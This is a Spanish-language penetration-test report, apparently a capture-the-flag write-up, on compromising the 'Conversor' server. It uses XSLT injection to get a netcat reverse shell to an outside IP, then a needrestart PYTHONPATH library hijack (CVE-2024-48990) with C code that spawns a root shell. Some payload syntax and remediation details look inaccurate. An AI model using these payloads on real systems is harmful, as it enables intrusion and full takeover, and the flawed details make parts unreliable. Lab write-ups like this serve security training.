

EVALUACIÓN DE SEGURIDAD OFENSIVA – PROYECTO CONVERSOR (WEB / NEEDRESTART)

1. Cabecera Formal y Clasificación

Parámetro	Detalle
ID del Proyecto	SEC-RPT-LIN-CONV-2025
Clasificación	TLP:CLEAR / Pública
Cliente / Entorno	Plataforma Documental conversor.htb
Activo(s) en Alcance	Servidor Web de Conversión Documental
Tipo de Evaluación	Prueba de Penetración en Aplicaciones Web y Elevación Local de Privilegios
Estado	Compromiso Crítico Validado / Escalada Exitosa a Root

2. Resumen Ejecutivo

Durante la auditoría técnica sobre la plataforma conversor.htb, se identificó una deficiencia crítica en el procesamiento de transformaciones de hojas de estilo (XSLT Injection), la cual permitió la inyección de funciones dinámicas del sistema operativo y derivó en la ejecución remota de comandos bajo el contexto del servidor web.

En la fase de post-explotación, se comprobó que el servidor ejecutaba una versión desactualizada de la utilidad de mantenimiento del sistema needrestart, vulnerable a secuestro de bibliotecas compartidas (CVE-2024-48990). Aprovechando la manipulación de la variable de entorno PYTHONPATH al ejecutar procesos con privilegios elevados, se forzó la carga de una biblioteca maliciosa compilada en C, obteniendo acceso interactivo como root y comprometiendo integralmente el servidor.

3. Matriz de Hallazgos y Afección

Vulnerabilidad / Hallazgo	Criticidad	CVSS v3.1	OWASP / CWE	Mapeo MITRE ATT&CK
Inyección XSLT con Ejecución Remota de Código	Crítica	9.8	CWE-94 / OWASP A03:2021	T1059 - Command and Scripting Interpreter

Secuestro de Librerías en Needrestart (CVE-2024-48990)	Alta	7.8	CWE-427 / OWASP A06:2021	T1574.006 - Hijack Execution Flow: PYTHONPATH
Exposición de Hashes de Autenticación Internos	Media	6.5	CWE-200 / OWASP A01:2021	T1003 - OS Credential Dumping

4. Detalle Técnico y Pruebas de Concepto (PoC)

4.1. Inyección de XSLT y Obtención de Acceso Inicial

La aplicación web permitía cargar plantillas XSLT personalizadas para procesar documentos XML. El analizador no deshabilitaba las funciones nativas de scripting ni las extensiones externas de PHP/Java. Se construyó una hoja de estilo maliciosa para ejecutar comandos del sistema:

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <xsl:value-of select="php:function('system', 'rm /tmp/f;mkfifo
/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8888 >/tmp/f)'" />
  </xsl:template>
</xsl:stylesheet>
```

Se subió el archivo a través del endpoint de conversión y se obtuvo la shell interactiva en el listener:

```
nc -lvnp 8888
# Conexión establecida desde el servidor web
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

- **Impacto Técnico:** Ejecución remota de código en el contexto de la cuenta de servicio web y exfiltración de archivos del host.
- **Remediación & Hardening:** Desactivar de forma mandatoria la llamada a funciones externas (`libxml_disable_entity_loader(true)`) y deshabilitar extensiones como `php:function` en el procesador XSLT.

4.2. Escalada de Privilegios Local mediante Explotación de Needrestart (CVE-2024-48990)

El análisis del entorno reveló la presencia del paquete needrestart en versiones vulnerables a CVE-2024-48990. La utilidad evalúa los procesos en ejecución e invoca el intérprete de Python heredando o interpretando rutas controladas por usuarios sin privilegios a través de la variable PYTHONPATH.

Se creó una estructura de biblioteca maliciosa simulando el módulo importlib:

```
mkdir -p /tmp/malicious/importlib
cat << 'EOF' > /tmp/malicious/importlib/__init__.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -shared -fPIC /tmp/malicious/importlib/__init__.c -o
/tmp/malicious/importlib/__init__.so
```

Se ejecutó la invocación forzando la inclusión del directorio malicioso en el árbol de módulos de Python:

```
cd /tmp/malicious
PYTHONPATH="$PWD" sudo /usr/sbin/needrestart
```

Al procesar los paquetes, el binario ejecutado como root cargó la librería compartida maliciosa, generando una consola de superusuario:

```
root@conversor:/tmp/malicious# whoami
root
root@conversor:/tmp/malicious# id
uid=0(root) gid=0(root) groups=0(root)
```

- **Impacto Técnico:** Elevación local de privilegios y control total de la infraestructura anfitriona.

- **Remediación & Hardening:** Actualizar inmediatamente el paquete needrestart a la versión 3.8 o superior, que elimina la evaluación insegura de variables de entorno de procesos de usuario.